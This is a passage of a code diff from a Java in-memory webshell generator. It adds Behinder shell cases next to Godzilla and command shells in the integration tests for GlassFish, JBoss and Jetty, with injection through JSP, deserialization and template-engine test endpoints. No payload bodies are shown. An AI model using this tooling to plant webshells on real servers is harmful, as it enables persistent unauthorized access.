.headerName("User-Agent").headerValue(godzillaHeaderValue) .build(); - log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue); + log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, godzillaPass, godzillaKey, godzillaHeaderValue); String content = GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer); assertInjectIsOk(url, shellType, shellTool, content, packer); GodzillaShellTool.testIsOk(shellUrl, godzillaConfig); @@ -51,6 +51,15 @@ public class ShellAssertionTool { log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName()); assertInjectIsOk(url, shellType, shellTool, commandContent, packer); CommandShellTool.testIsOk(shellUrl, commandConfig); + break; + case Behinder: + String behinderPass = "pass"; + String behinderHeaderValue = "Behinder" + shellType + packer.name(); + BehinderConfig behinderConfig = BehinderConfig.builder().pass(behinderPass).headerName("User-Agent").headerValue(behinderHeaderValue).build(); + log.info("generated {} godzilla with pass: {}, headerValue: {}", shellType, behinderPass, behinderHeaderValue); + String behinderContent = GeneratorMain.generate(shellConfig, injectorConfig, behinderConfig, packer); + assertInjectIsOk(url, shellType, shellTool, behinderContent, packer); + BehinderShellTool.testIsOk(shellUrl, behinderConfig); } } @@ -69,8 +78,7 @@ public class ShellAssertionTool { case OGNL -> VulTool.postData(url + "/ognl", content); case Freemarker -> VulTool.postData(url + "/freemarker", content); case Velocity -> VulTool.postData(url + "/velocity", content); - case Deserialize -> - VulTool.postData(url + "/java_deserialize", content); + case Deserialize -> VulTool.postData(url + "/java_deserialize", content); } } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java index b6675e0c..2a86be6f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.glassfish; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.GlassFishShell; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; @@ -49,14 +49,20 @@ public class GlassFish3ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java index a23696e0..7bbc6f91 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.glassfish; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.GlassFishShell; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; @@ -49,14 +49,20 @@ public class GlassFish4ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java index e54da251..6bddca6a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.glassfish; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.GlassFishShell; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; @@ -42,14 +42,20 @@ public class GlassFish501ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java index 1c0c4a1e..0185cd3b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.glassfish; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.GlassFishShell; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; @@ -42,18 +42,24 @@ public class GlassFish510ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java index 67378179..a3fb0c84 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.glassfish; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memshell.GlassFishShell; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -42,14 +42,20 @@ public class GlassFish6ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java index a010a96a..3415eb92 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.glassfish; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.GlassFishShell; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; @@ -42,10 +42,13 @@ public class GlassFish7ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java index 7ebd6926..271ebdac 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.jbossas; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -41,10 +41,14 @@ public class Jboss423ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java index 64c717b6..898e4a6a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.jbossas; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -41,10 +41,14 @@ public class Jboss510ContainerTest { static Stream casesProvider() { return Stream.of( +// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out +// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), +// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out +// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java index 5d558cb7..a0a83772 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.jbossas; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -41,10 +41,14 @@ public class Jboss610ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java index 5172f7f9..1f4bdd09 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.jbossas; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -44,8 +44,10 @@ public class Jboss711ContainerTest { */ static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java index 015e817b..37147236 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.jbosseap; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -41,8 +41,10 @@ public class JbossEap6ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java index 3b52ac8f..ab1b6648 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.jbosseap; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -41,14 +41,20 @@ public class JbossEap7ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java index ba456cf8..583fc9a7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.jetty; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -40,14 +40,20 @@ public class Jetty10ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, 